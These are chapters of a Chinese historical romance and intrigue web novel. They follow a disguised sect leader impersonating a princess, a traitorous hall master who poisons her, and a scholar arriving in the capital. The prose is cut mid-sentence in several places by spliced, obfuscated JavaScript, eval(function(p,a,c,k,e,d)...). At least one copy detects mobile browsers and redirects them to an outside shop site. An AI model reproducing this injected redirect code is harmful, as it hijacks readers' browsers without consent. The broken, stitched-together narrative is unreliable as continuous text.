只见言靖雪跌坐在地,藕荷色裙裾浸在茶渍里,脚踝上蜿蜒一道血痕渗出,似是被碎瓷片子划伤了脚踝。 “靖雪?怎么会是你?”薛景珩略浮现诧异之色,目光在她眉眼间停留了一瞬便快速移开。“简直胡闹!暖玉阁伺候的丫鬟呢?伤还没好怎么就独自出来?” 窗外竹影婆娑,在他侧脸投下细碎的暗影,连带着将眼底那抹深意也掩去了几分。 “屋里太闷,是我自作主张出来透透气……没想到误入了书房重地。”言靖雪垂着头握紧了衣角,声音既轻且未,像极了小时候闯祸后躲在三哥哥和薛景珩背后,逃避父亲训斥的样子。 薛景珩俯身时靠近她时带来一缕沉水香的气息,言靖雪略迟疑却并未躲闪,指尖犹豫地触及他胸前织金云纹的衣襟,又缓缓松开,任由他将自己抱起,落在临窗的软塌上,锦褥微微下陷,压出一道浅浅的皱痕。 十一娘闻声进来,见状赶忙吩咐左右去取上好的伤药,自己则远远退到廊下伺候。 薛景珩则跪坐在软塌下,身形微俯,指腹稳稳按住靖雪右足侧伤处。仔细地拿着一把小银剪,沿着脚踝往上绞开鞋袜衣物,挑开扎进血肉的碎瓷片,动作小心。 一旁白瓷盆里的清水染成了淡红色,他又重新仔细洗净了帕子小心翼翼地擦拭。 “……忍一忍。” 薛景珩向来寡言冷性,待旁人虽礼数周到,却也从未这般……温柔细致。 十一娘心中酸涩,奉上茶药后施礼退去。却在关门前最后一眼,瞧见言靖雪垂眸凝思的神色。 言靖雪的目光谨慎而缓慢地扫视过薛景珩周身,带着一种精心伪饰却难掩生疏的好奇。 那打量太过细致,却又毫无温度,如同一个临摹者在竭力复刻,生怕遗漏了任何一处本该熟悉的细枝末节。 书房内,陈设极简,墙上悬挂一幅古画,纸色泛黄,笔触沉稳,为旧时名家所绘山河全图。 屋内乌木书柜静立一隅,兵书、地志等书册排列有序,还有一些市面上难得的古籍孤本。 书柜角落里一枚不起眼的兽首铜扣微微泛着光。 言靖雪始终垂着眼眸,一言不发。 她的眼神在兽首铜扣上停滞须臾,眸中微光倏忽敛去,佯装掩饰般地随手拿起案上的茶水吃下半盏。 是从未喝过的口感,茶香幽微、气味苦寒,偏倒是很合她的口味。 薛景珩抬眸,正瞧见她茶汤入口的瞬间,眼尾极细微地一挑——那是福安郡主表示满意时无意识的小动作,他再熟悉不过,唇角漾开了一点笑意。 手上包扎的动作却不觉压在她伤口上,惹得靖雪猝不及防地轻“嘶”了一声,眉心倏地蹙起。 “疼!你放轻些……”靖雪不满出声,颦眉瞧向薛景珩,骤然绷直的足弓上素玉般的脚趾无意识蜷起,像雪团一样轻轻蹭过他衣襟下摆的织金云纹。 薛景珩眼神微漾,虎口卡在她凸起的踝骨上不肯放手,“别乱动,处理不好伤口……”他手掌青筋若隐若现,“便要留疤了……” 福安郡主自幼极爱惜容颜,听闻“留疤”两个字,瞬间所有的不愿都偃旗息鼓,只余下乖巧温顺,任由他指尖带着药膏的微凉在伤处涂抹缠绕,老老实实任他摆弄包扎。 窗外雪丝绵密,屋内却兀自安静的令人烦躁。 言靖雪黛眉紧蹙,故意错开薛景珩温柔的目光,索性偏过头去瞧案头半新不旧的竹灯笼,云鬓间的珍珠步摇随着动作晃出碎光,落在薛景珩眼中一片暗色中。 那盏竹条编制的纸灯笼,灯骨是极细的江南紫竹,交错咬合,撑起一盏玲珑的六角宫灯模样。竹条表面还留着细微的刮痕与天然的节理,摩挲得久了,泛出一种温润的、近乎琥珀色的光泽。 竹灯笼是言靖雪十六岁时一日兴起,从宫外市集上随手买下的。她不过玩赏了片刻,便撂在薛景珩手里忘了带走,后来被薛景珩揣在怀中带回府里留存。 时日久远,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不知想到什么,他眸中冷意倏然化开,“……若是福安郡主所赐,微臣倒是当之无愧……毕竟物有所值。”他的尾音落在后四个字上,熨烫妥帖的嗓音引人遐思,是说不出的温柔缱眷。 薛景珩素来清冷的嗓音,此刻竟渗入一丝她完全不懂的温软,令人茫然又无措。 言靖雪轻挑眼眉,诧异望向他,传闻中端方自持、满腹权谋的淮安王,竟也会这般轻佻、与人玩笑? 薛景珩抬眼时正撞上她的眼神,似初春薄冰映着朝阳,揉碎了一池春水,清澈透亮之下,带着毫不掩饰的好奇与细细打量的锋芒。 只是,那汪熟悉又陌生的清亮眼神似有千钧引力,瞬间碾碎了他赖以维系的清明,未及思索,气息已欺身靠近——沉沉压向她温软的唇角…… 起初只是唇瓣相贴,继而情潮翻涌,他便再难自持,呼吸交缠间如失控般,重重碾转深入。 言靖雪心头一跳,惊惶别开脸,抬手推拒。 “你放肆!” 掌心刚触及他胸膛,双手便被薛景珩握在滚烫的掌中,力道之大不容挣脱。隔着薄薄的衣料,靖雪清晰抚触到他剧烈起伏的心跳。 “啪”地一声,耳光太过清脆,震得她自己耳膜嗡嗡作响——甚至没意识到自己何时扬起了手。 薛景珩脸上渐渐浮现明显的红痕,她瞳孔微微颤抖,心头猛地一沉— 茶水在杯中轻晃,映出言靖雪闪烁不定的眸光,令那层勉力维持的虚假表象摇摇欲坠。 她索性先发制人开口指责:“纵然我如今是罪臣之后,与淮安王身份云泥之别……”嗓音里压着怒意,却又隐隐透出一丝假装的哽咽,“……却也断容不得你随意作践!” 薛景珩不躲不避受下这记耳光,左颊瞬间浮起嫣红指痕,舌尖顶了顶发麻的齿根,竟尝到一丝血腥气。望着言靖雪慌不择路逃开的裙角,眼底闪过一丝惊诧。“破绽百出,她倒是恶人先告状!” 只是拾起她仓皇中遗落的碧玉簪上,神色晦暗不明。 9. 小司命 夏蝉为了打发时间,正坐在暖玉阁外的长廊上编络子,猛一抬头,竟见言靖雪不知何时从外院王爷书房的方向回来,心头一惊 ——郡主是何时出去的?自己竟全然未觉! 夏蝉忙搁下手中编了一半的璎珞上前询问:“郡主怎么了,走得这般急?” 靖雪裙裾带起的冷风惊飞了廊下的雀鸟。 “屋内炉火烧的太旺,我心口有些烦闷,便出来透透气。”靖雪深吸了口气,对着匆匆迎来的夏蝉绽开一个毫无阴霾的笑容,仿佛方才疾步而归的身影和眼底残留的一丝愠色,都只是光影投下的错觉。 “劳烦你去备些水,我想洗个热水澡。” “是,郡主。”夏蝉虽觉奇怪但还是乖觉地退了出去。 门扉合拢的轻响刚落,“言靖雪”脸上最后一丝伪饰的平静骤然碎裂。 她眼睫低垂,下颌微微抬起,指腹狠狠蹭过被薛景珩气息触过的唇瓣,眉宇间凝着化不开的冰冷厌弃。 沐浴后,水汽氤氲中,靖雪抬手解开鬓边最后一支珠钗,青丝如瀑垂落,遮住了半边雪白的背脊。 素色里衣软薄如云挂在她肩头,水珠犹自贪恋这冰肌玉骨,沿着光滑的颈项向下蜿蜒,勾勒出起伏流畅的曲线。 镜面水雾渐渐散开,露出一副芙蓉玉面,她眼眸流转间灿若星河,竟教漫天星光都黯然失色。 只是镜中人眼底狡黠如星光乍现,忽地牵起了唇角,指尖拂过眉间,嫣红的云纹被瞬间抹去,只余一点微红胭脂残膏—— 方才那片刻温驯似水的娴静,如同被风吹散的雾气,瞬间消弭无踪。 再抬眼时,眼底柔情尽褪,骤然迸出冷冽锋芒,唇角勾起的弧度明媚恣意,却带着刀锋舔蜜般的危险气息,竟似换了个人。 只是相貌竟与传闻中的福安郡主一模一样,宛如双生! 唯一的差别便是,她眉心一片光洁,那点本应烙着烈焰般的云纹胎记,消失得干干净净! 突然,一声轻微的“咯吱”声自窗棂响起。 靖雪笑意犹在唇角,没有半分预兆,指间银簪已猝然离手! 那支银簪穿透屏风后余势未消,最后深深楔入墙壁,只留一点冰冷的金属光芒。 “什么人?敢来刺杀我!不要命了?” 屋子里突然现身的青衫少年却恍若未觉,琥珀色的眸子直勾勾盯着她的面容,悄无声息地出现在屏风后。 “子晏?!……怎么是你?” 少女微眯了下眼,不悦如薄霜覆上眉梢眼角,疑惑道:“是门主让你来寻我的?” 她指尖故意略过少年怀中递来的桂花糕,反倒拾起妆台上的象牙梳篦,慢条斯理地梳着湿哒哒的长发。 “半月前,小司命私自离开青衣门珞珈山,又突然失去踪迹,难道我不该来寻吗?!” 半月前—— 珞珈山,地牢,烛火摇曳。 少女坐在铺着暗色锦缎的高台宽椅上,姿态慵懒随意,却透着一股不容置疑的威仪。 半张精巧的珠帘面具覆住了鼻尖以下的面容,细密的银珠在光线下流淌着冰冷的光泽,让人无从窥探。 唯一显露的,是面具上方那双灿若星辰的眼眸——清澈、灵动,是欲将星河尽揽的顾盼生姿。 她随意晃了晃手腕,垂落的广袖间,一只翠色玉镯在皓腕间轻轻转动,光华流转间,倒显得那截腕子愈发白皙纤细。 少女漫不经心地瞧着那光晕流转,仿佛只是打发无聊时光。 清泠泠的声线如玉磬击泉:“青衣门的规矩你都知道……最后一次机会,到底是谁假传门主‘无相令’去常衡暗杀苏怀堂?!” 阶下,刚经过水刑的囚犯抖如筛糠,瘫软的身躯被铁链坠着跪倒在地,他不断咳呛,面色青灰,唇齿间不受控地溢出浊水,沿着脖颈蜿蜒成一道冰冷溪流,浸透早无温度的囚衣。 空气中弥漫着血腥与恐惧的味道。 “小司命,我……我已经把知道的……全都告诉你了……”囚犯声音嘶哑,神态诚挚不似作伪。 前去查证的护卫此刻却匆匆回来,“启禀小司命,叛徒供述的布料庄已经人去楼空,没找到任何有价值的线索。” 高台上的小司命闻言抬眸,唇角浮起一丝新月似的弧度,“跟我耍花样?”那双揽尽星河的眼眸微微眯起,寂静压得人喘不过气。 她撑着鎏金椅臂起身,缓步走下高台,囚犯被左右两个护卫强行从地上架起身。 贴身护卫心领神会捧上青霜剑,剑尖点地曳出星火。 “这柄青霜剑虽然不如独孤氏的天戮刀名震江湖,但也处置过几个不识抬举的老顽固——” 剑锋凌空划破犯人囚衣,恰停在他心口毫厘之上。 犯人猛地抬头,脸上血色瞬间褪尽,那点侥幸被彻底击碎,只剩下被看穿的骇然与绝望。 “小司命饶命啊!”他嘴唇哆嗦着,还想辩解。 “我真的不能说……真的不能说,否则他不会放过我全家老小……” 身侧面容冷峻的护卫上前一步,沉声请示:“小司命,此人嘴巴紧得很,十八般刑讯都已经试过,下一步如何处置?” 女子唇边那抹冷笑骤然收敛,“冥顽不灵!” 下一刻她已利落背身而去,广袖翻飞带起的气流骤然掠过,激起囚犯一阵细微的寒颤。 珠帘面具随着她微抬下颌的动作轻轻晃动,折射出细碎光芒,清泠的嗓音仿佛裹着水牢外的寒气,“让他放心,祸不及妻儿是青衣门的规矩。我不会对孤儿寡母下手,但是……背叛青衣门的人,留之无用。杀了他以儆效尤。” “车马可备好了?” “启禀小司命,一切都安排妥当……只是此事要不要先告知门主一声?若是让他知晓您私下珞珈山……”贴身护卫斟酌着劝诫。 少女猛地停步,缓缓扫过阶下众人,空气凝滞如冰,压得一众护卫们低头屏息。 她声音不高,带着几分漫不经心道:“若谁敢在门主闭关期间前去多嘴——就自请去漠北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她在另外那顶马车里!快动手!” 混乱如同信号。 刚才还闲散地蹲在路边的“村民”瞬间抽出藏在菜筐里的短刀,猛地扑过来! “小司命当心!”随行护卫却被几个假扮村民的杀手缠住摆脱不得! 电光火石间,一只云履自轿帘内精准踢出,正中刺客手腕。匕首瞬间脱手“咣当”地钉入旁边木桶!刺客整个人被掀飞,狼狈地撞翻了旁边的陶碗摊,瘫在碎陶堆中。 轿帘“唰”地被一只素白的手掀开。 踏出马车的,是一个约莫二十出头的少女。 她身姿纤细却挺拔,半张珠帘面具垂落时恰掩住鼻尖至下颌,行动间如细碎的星光夺目,只露出饱满的额头与一双顾盼神飞的眼眸。 随行的便衣暗卫玉衡也从人群中现身,立侍其身侧。 玉衡眼风扫过,镇定吩咐与“村民”缠斗的护卫道:“莫要与其纠缠,保护小司命要紧!” 少女站在马车上负手而立,一双明眸灿若星河流转,声音却冰冷:“我一路南下行踪极其隐秘,连门主都瞒住了,他们是如何得知的?” “……看来家有内鬼!”她清冷的声音穿透喧嚣,透出几分不满和厌烦,“既然人家有备而来,想必也问不出什么消息,玉衡不必费力留活口了,就地诛杀。” 10. 千面罗刹 闹市的血腥与混乱很快平息。 马车昼夜不停歇,最终停在临安城京郊一个僻静山庄前。 一个身材矮小、面容清秀,带着几分阴柔之气的中年男子早已率众等候在山庄门前,男子恭敬地垂手而立,正是无涯山庄主人——千面罗刹。 他一见少女身影,登时腰弯成了熟虾,碎步急趋上前问候道:“参见小司命!” 男子清秀白皙的脸上绽开极尽谄媚的笑容,“不知您老忽然驾临无涯山庄有何指教?可是……奉了门主的‘无相’令有事吩咐?” 少女利落地跃下马车,无视了千面罗刹的满面恭维,径直快步穿过庭院,衣袂轻擦带起一股不容逼视的骄矜贵气。 她步入正厅,毫不客气地在上首主人的紫檀木雕花大椅上端然落座,黑色珠帘面具在厅内烛光下泛着冷硬的光泽。 玉衡如同影子般无声侍立其身后。 千面罗刹脸上的笑容顿时僵住,眼神中划过一丝不易觉察的错愕和不满,却诚惶诚恐地跟进来,躬身行礼道:“小司命一路南下辛苦,属下因要事耽搁未能出城远迎,还请见谅……” “千面罗刹,你可知罪?!” 少女的声音透过面具传出,清脆如冰珠落盘,带着不容置疑的凛冽和威压,“我和玉衡险些在京郊地界遇伏受伤!难道名震天下的青衣门临安堂堂主竟然这般昏聩无能?!究竟是你不堪大用……还是…有人刻意安排?另有图谋?” 千面罗刹听懂了少女的潜台词,自己竟然被怀疑与刺杀有关,额角瞬间渗出细汗,腰弯得更低,声音带着恰到好处的惶恐:“竟然有此事!属下着实不知!还请小司命明鉴!” “……只是,京郊市集地处临安城和平安洲交界,人流复杂,向来是两不管的模糊地带。属下斗胆猜测……消息泄露的源头,许是在平安洲?” “哦?这么说此事倒是与你无关了?”少女尾音微微上扬,带着一丝玩味。 她的目光透过千面罗刹,忽而落在屋内高阁中一尊通体无瑕、润如凝脂的白玉飞天上。 白玉飞天雕工精湛绝伦,在烛光下流转着温润却异常夺目的水光,十分显眼。 “临安堂主的日子,倒是过得比我想象中……要快活得多。这等宫廷流出的珍玩,便是二品大员府上也难得一见吧?” 千面罗刹将头埋得更深,“属下惶恐!这些都不过是为了伪装身份,方便与达官显贵交际应酬,才吩咐手下采买置办的一点小玩意,是赝品不值什么钱。”他的声音不再颤抖,反而清晰起来。 千面罗刹在少女和玉衡冰冷目光的注视下,几步走到阁柜前,将那尊温润无瑕、价值连城的白玉飞天高高捧起,然后转向少女,脸上露出温吞讨好的笑意,“小司命说的是它?此物确是宫廷样式,可惜……”话音未落,双手猛地向下一掼! “哗啦——!!!” 刺耳至极的脆响炸裂在死寂的厅堂! 那尊精美绝伦的白玉飞天,被狠狠砸在坚硬的砖地上,瞬间粉身碎骨! 无数大小不一的碎片和粉尘迸溅开来!散出一股清淡的粉末香气。 千面罗刹站在一地狼藉的碎玉中,摊开沾着玉粉的双手,对着上首的少女微微躬身,语气竟带着一种奇异的“痛快”道: “——可惜是个不入流的赝品!竟也以假乱真骗过了小司命的眼,实在是它罪、有、应、得。” 千面罗刹最后那句“罪有应得”,语调微微上扬,带着一丝难以觉察的微妙挑衅,又混杂着绝对服从的卑微。 厅内烛火摇曳,映照着满地刺目的碎玉残骸,以及千面罗刹那张在碎玉反光中显得越发阴柔、也越发难以捉摸的脸。 少女面具后的目光,第一次出现了明显的波动。 千面罗刹的声音带着几分女子的娇柔,似是追忆道:“我少时因为这副相貌和身量,在深宅大院做工时受尽欺辱,后来不甘偷跑出来,在街头快要饿死的时候,幸遇门主不弃收容又传授易容的功夫,属下才能……才能苟活至今。属下的一切,都是门主所赐,绝不敢有半分逾矩之心!” “还望小司命明鉴!” 少女面具后的目光,锐利地审视着千面罗刹每一寸细微的反应,厅内一时陷入沉寂,只有烛火偶尔发出的轻微“噼啪”声。 少女眉间凝着的审视与质疑尚未散尽,眼底的冰霜却转瞬化开,笑意轻快地攀上眼角眉梢,仿佛方才的探究从未存在,“罗刹伯伯,我不过一时兴起,与你开个玩笑罢了!” 少女的尾音微微上扬,带着三分礼遇和一丝亲昵,是毫不作伪的欢欣,纵使隔着珠帘面具,仿佛也能感觉到明媚不可方物。 她绕着千面罗刹踱步,似在打量,言辞却恳切,“千面罗刹乃是青衣门倚重的肱股之臣,一手易容术更是出神入化!我等小辈若有言语莽撞之处,罗刹伯伯一定会胸宽似海地包容我,对不对?” 千面罗刹闻言面色稍霁,少女见状唇角微扬,轻轻抚掌。 玉衡见状立即示意左右,很快就有四个护卫恭敬地从外院抬进一座三尺多高的玉面金佛。 “传闻,这是周遁汝的闭关之作,门主知晓千面罗刹劳苦功高,特吩咐我赠与前辈把玩。”少女话音未落,那尊半尺高的玉面金佛便被稳稳抬至对方面前。 刹那间,屋内仿佛所有的光都被那金佛吸了过去。 饶是见多识广的千面罗刹也不若由得瞳孔骤缩,眼神闪烁着攫取般的精光,死死钉在佛身上,再也挪不开半分。 “确是周遁汝的雕刻手艺!”而自己满屋的收藏加起来都抵不过半个金佛的价值! 他的呼吸骤然粗重,脸颊肌肉不受控地抽动,嘴角先是无意识地咧开,露出一抹狂喜,随即又像是意识到失态,形成一种扭曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637533|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又亢奋的神情。 少女端坐主位,将对方的一举一动尽收眼底,眼底深处掠过一丝极淡的嘲讽,面上却笑意更深,指尖漫不经心拂过茶盏边缘,声音清越含笑:“罗刹伯伯喜欢便好。这尊玉面金佛,据说是大德高僧开过光的,最是灵验不过……” 她状似无意地扫过千面罗刹紧抱金佛、指节发白的手,语气温软笑道,“礼轻情意重,只是,莫要辜负了门主这份情谊才是。” 千面罗刹赶忙俯身下拜,字字铿锵道:“小司命训示,属下等铭记于心!” 言罢,他并未直起身,保持着微躬的姿态,略微抬眸,声音放得更轻了些,“只是……不知小司命今日亲临,有何示下?临安堂也好早做准备。” 少女眸光如霜冷笑道,“几日前苏怀堂在常衡遇高手暗杀险些送命,江湖却盛传是青衣门的手笔,而我和门主在珞珈山竟然对此一无所知……严审了当日参与暗杀的叛徒,发现蛛丝马迹似与临安城有关,门主震怒令我来此彻查,揪出那假传圣令的叛徒,清理门户。” 千面迦罗闻言诧异,表现得十分震惊与愤慨:“还有此事?!属下等竟全然被蒙在鼓里!此等宵小胆大包天,实在罪该万死!如今小司命亲临,定能拨云见日,揪出叛徒!” “小司命,那叛徒……”千面罗刹声音沉稳中带着一丝探询,“不如交由属下再审?属下有把握撬开他的嘴,定能查出幕后之人!” “杀了。” 座上少女指尖拂过茶盏边缘,声音平淡无波,仿佛在说一件微不足道的小事。 “该问的,水牢里的十八般‘规矩’都替我问过了,可惜还是冥顽不灵。”她眸光微抬,“所以,已经杀了。” 千面罗刹垂在身侧的手指几不可察地蜷缩了一下,呼吸似乎停滞了半息。 少女平静的目光似无意般拂过千面罗刹的脸庞,他立刻垂下头错开目光,再开口时,沉稳的声调带上了更深的恭谨,垂下的眼底却一片冷漠,“小司命处置得当!只是这等腌臜事却脏了您的手,本该由属下亲自清理临安堂门户才是。” “青衣门与苏怀堂素来井水不犯河水,更不参与保皇派和革新派的朝廷斗争,幕后之人恐怕想借此事将青衣门拖入朝廷争斗旋涡中……”少女若有所思的眼神落在千面罗刹身上,“只是,竟然有人敢假传门主‘无相令’,断然不能轻纵!” 千面罗刹赶紧低下头表示忠心,“属下等必倾尽全力,配合彻查!” 一行人并未在山庄留宿,薄暮时分,少女勒马回望灯火渐起的无涯山庄,眸色深沉如夜。 她声音清冷对着身侧心腹玉衡低语:“千面罗刹贪欲炽盛,得了金佛非但无半分感念,眼中反露豺狼之色。我提及假传圣令的叛徒,他表现的神色过于震惊和无知,反倒不符合一堂之主的做派,派暗探盯紧他……我隐隐觉得千面罗刹与此事脱不开关系!” 11. 牵机毒 山庄内,方才还抱着金佛如获至宝、满脸谄媚的千面罗刹,此刻神情阴鸷如鬼。 他随手将那尊价值连城的玉面金佛搁下,仿佛摆脱一件烫手山芋。 地下是刚刚被扭断脖子、死不瞑目的暗探。 他掏出一方雪白丝帕,慢条斯理地擦拭着手指上并不存在的血迹,声音冰冷黏腻,再无半分恭敬。 “一群废物!市集上这么好的机会,竟让她死里逃生,还有机会在我面前颐指气使!” 跪伏在地的手下瑟瑟发抖:“堂主息怒!小司命聪慧过人,善于洞察人心,凡事总能比常人提前三分谋划,而且身边又常有玉衡护卫在侧,实在是难以下手。” “靠你们一群饭桶如何向独孤公子交差?” 千面罗刹脸上所有的恭敬都已褪去,只剩下冰冷的审视和一丝嘲讽。 “追查叛徒、清理门户?哼,鬼话连篇!”千面罗刹冷嗤一声。 继续道:“青衣门谁人不知门主最爱重小司命,将她宠得如珍似宝,怎么会让她冒着危险亲临临安城,来蹚这滩浑水?……况且凡是参与刺杀苏怀堂的人,其家人和孩子全都在独孤世子手中控制着,没人敢说出幕后指使……小司命恐怕是趁着门主旧疾复发闭关的时候偷跑出来的……盯紧她,派最好的‘尾巴’给我咬住了!我倒要看看,小司命来临安的葫芦里究竟卖的是什么药!” 心腹手下立刻凑近一步,脸上堆满谄媚与了然道:“还是堂主您神目如炬!她那点说辞,也就骗骗三岁孩子!属下也觉得,小司命此行必有所图,而且图谋不小!” 手下凑得更近,声音略有些忐忑,犹豫试探道:“可是若真让小司命查出了咱们与独孤世子勾结、假传‘无相令’,并且借青衣门之手替独孤世子铲除政敌异己,我等死无葬身之地!……依您看,咱们要不要给她来个‘明修栈道,暗度陈仓’,表面全力配合,暗中……”他做了个抹脖子的手势,眼神狠厉。 千面罗刹嗤笑一声,眼中闪过残忍的笑意,“这还用你说,小司命纵然有几分聪慧才干,到底是个乳臭未干的女娃娃,不知江湖人心险恶。” 他踱步到桌边,拈起刚刚刻意打碎的瓷片,指尖在内侧一抹,带起一点肉眼几乎无法察觉的细微粉末。 “这粉末无色无味,本身无毒,甚至带着一丝不易察觉的兰草清气。”他嘴角咧开一个扭曲的笑容,眼神也是得逞的笑意,“可一旦与碧螺春茶同食,两相混合,便是神仙难救的牵机剧毒!中毒者会在一个月内内力渐失,声音嘶哑、肌肉僵直,最后沦为牵丝傀儡一般的废人!” 他手指蓦地一松,掌中碎瓷片“啪”地一声在地上,彻底摔成粉末。 “既然她放尊重叫我一声罗刹伯伯,我就好心教教她如何做人做事。” 千面罗刹垂眼盯着地上的狼藉,声音冰冷地让下属都不寒而栗,“她很聪明,但聪明的年轻人会有个最致命的错觉,便是把江湖当棋盘,自诩算尽了步,便可高枕无忧……可惜,江湖是个吃人不吐骨头的狩猎场,输赢从不看规矩,只看谁能笑着站到最后。” —— 临安城,九霄楼,雅间内。 少女刚用罢晚膳,斜倚在贵妃榻上休憩。 她一袭蜜合色软罗宽衫,衣带松松系着,沐浴后几缕青丝松散地垂落颈侧,露出一段纤细的脖颈。 身旁楠木小几上置着一壶新沏的碧螺春,茶烟袅袅。 九霄楼的碧螺春,乃是镇店之宝,往来茶客甚至专程而至,只为求品香茗。俗话讲:“入九霄楼不饮碧螺春,如入宝山空手回。” 一旁海棠花样的漆碟中,还盛着两三块莲蓉细点,酥皮莹白,做得极为精巧。 她膝头摊着一卷古籍,此刻正垂眸翻阅,神情专注。 残破的书页间“山河易主,令出九鼎”八个字依稀可辨。 “……帝星渐明,山河令现,北辰耀于中天,薛氏承令而炽,光灼九野……”她声音极轻,唇间无声地溢出几个零落的词句,带着令人不安的韵律,“薛氏?莫非山河令……与如今风头正盛的淮安王薛景珩有关?” 思绪纷乱间,她指尖不经意抚过身旁半展的一副绢帛画像——画中女子清艳不可方物,眉间一点嫣红的云纹胎记动人心魄。 画卷右侧,一行娟秀小楷静静写着:“福安郡主”四个字。 少女目光微凝,一丝惘然掠过眼底,画中容颜……竟然与自己这般相似吗? 她心神不宁地端起那盏碧螺春,轻啜几口。 茶汤入喉温润,起初并无特别。可转眼之间,她忽觉胸口如同针刺微微一痛,抬眼看时,眼前的雕花窗棂竟似蒙了一层薄纱,微微摇曳。 连烛火的暖光也渐渐晕开,氤氲成朦胧恍惚的一片…… “玉衡?……”少女下意识扶住软塌,指节因用力而发白,却惊讶地发现自己的嗓音如同喑哑的破锣,粗粝难听。 慌乱间袖摆扫落茶盏,“哐当”一声脆响,碧绿的茶汤泼洒开来,在烛下泛起幽晦光泽。 “莫非碧螺春茶有问题?”她心下一沉,可这个念头刚起便被按下——凡是她的贴身和入口之物都由玉衡妥帖检查过,断不会出错。 她身子微晃,强自稳住,额间却已渗出细密冷汗,气息也渐渐不稳。 昏沉之间,无数画面纷至沓来:千面罗刹阴柔谄媚的脸、碎裂瓷瓶中扬起的细粉、碧螺春清冽的茶香……交织重叠,刺得她头痛欲裂,却也抽丝剥茧般捕捉到问题线索。 “难道……是他?!是千面罗刹这个叛徒!” 冰冷的汗珠顺着少女苍白的鬓角滚落,滴滴砸在波斯毯上,晕开一小片深色。 她每一次呼吸都牵扯着肺腑深处刀割般的剧痛,是牵机毒开始缓慢发作,在逐渐侵蚀心肺。 踉跄中几乎是凭着本能,她颤抖着翻到玉衡在屋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人声音充满了恐惧,“再说,妙语琴师不过是一介弱质女流,素来与江湖事没有瓜葛,谅她也不敢包庇刺客。” 带头人略思虑权衡后,开口道,“走,去别处看看!动作要快!” 脚步声带着不甘和忌惮,渐渐远去。 走廊恢复了死寂,只剩下屋内少女和女琴师两人沉重的呼吸声清晰可闻。 少女紧绷的神经微微一松,巨大的脱力感瞬间袭来,扼着琴师的手也松了几分力道。 “小姑娘,求求你,别杀我!”女琴师惊魂未定,身体瘫软在地,像一朵被骤雨打落的海棠花,连女子见到都忍不住心生怜爱,难怪会被当做献媚的礼物送给淮安王。 确认琴师只是晕厥,少女才扶着墙壁剧烈地咳嗽起来,喉咙里涌上腥甜。她目光扫过昏厥的琴师,最终落在那身素雅洁净的罗衣上。 “淮安王府吗?”她颦眉若有所思。 12. 新科宴 长街喧闹,脂粉的甜腻、酒香的醇厚、锦缎铺子里的浆气——这些浮华的味道互相缠绕,交织着无数华车骏马碾过扬起的微尘,在无形中织出了一张独属于帝都的、锦绣而躁动的网,令无数人深困其中,不能自拔。 蒋砚深吸一口气,临安城冬日的空气里夹杂着湿润的水汽,清冽中竟透着一丝若有若无的冷梅幽香,果然比林城那穷乡僻壤的冻土气息要好闻得多。 然而这念头刚起,他的指尖便下意识抚上自己的清灰长衫。 长衫浆洗得干净挺括,可在周遭的锦衣华服间,却显得格格不入。 前方不远处,几名举子身着簇新的锦缎长衫,正谈笑风生。 他们或披着厚实裘氅或罩着华贵斗篷,腰间各式玉佩随步履轻撞,发出清越之声,落在蒋砚耳中格外地清晰动人。 蒋砚见状加快脚步,带着几分刻意的亲近,凑上前道:“诸位兄台请留步!可是同赴九霄楼新科宴的举子?” 那几人闻声回头,疑惑的目光落在他身上,带着几分审视。 其中一位面容清俊、穿着月白云纹锦袍的举子拱手询问道:“在下洛川窦氏窦文瑞,不知兄台尊姓大名?” “不敢当,小可蒋砚初来乍到,还请窦兄多多关照!”蒋砚含糊回应道。 报上名号后,他敏锐捕捉到窦文瑞身旁人眼中一闪而过的赞赏。 果然,立刻有人接话道:“原来是写出《寒潭赋》的才子!兄台文采斐然,字字珠玑,小弟拜读后心折不已!” “不过是醉酒后涂鸦之作,兄台谬赞了!”蒋砚客气道,暗暗挑眉有些得意。 “《寒潭赋》?”窦文瑞闻言神色果然恭谨了几分,审视的目光重新扫过蒋砚束发的寻常木簪上,脸上带着恰到好处的笑意询问,“江兄妙笔生花,令人心折!若论诗书名门,五姓十族中首推江北江氏。敢问江兄……是江氏哪一房的子弟?” 来了。 那根无形的线绷紧了。 蒋砚笑容依旧,声音却不由自主地低了下去:“窦兄误会了,在下祖籍林城、蒋氏……寒门小户,不足挂齿。” “哦哦,原是我听岔了……”窦文瑞脸上的热情如同退潮般迅速敛去。 连他身旁原本夸赞蒋砚文采的举子也愣住了,仿佛被什么无形的东西硌了一下。 “原来是林城蒋氏……”窦文瑞脸上的笑容变得极其浅淡,如同浮在水面的油花,客气而疏离。 他极其自然地侧过身离开,同时向着周围锦帽貂裘的同伴开口道:“钱兄,方才你说那九霄楼后院的绿梅开得极好?走走走,快些去赏玩才是正理,莫误了佳期!” 话音未落,人已离开。 蒋砚伸出的手,还维持着半拱的姿态,指尖却已僵硬地悬在半空。 他脸上那层温润的笑意如同凝固的薄冰。 蒋砚缓缓放下手,指尖蜷缩进掌心,能清晰地感受到指甲嵌入皮肉的微痛。 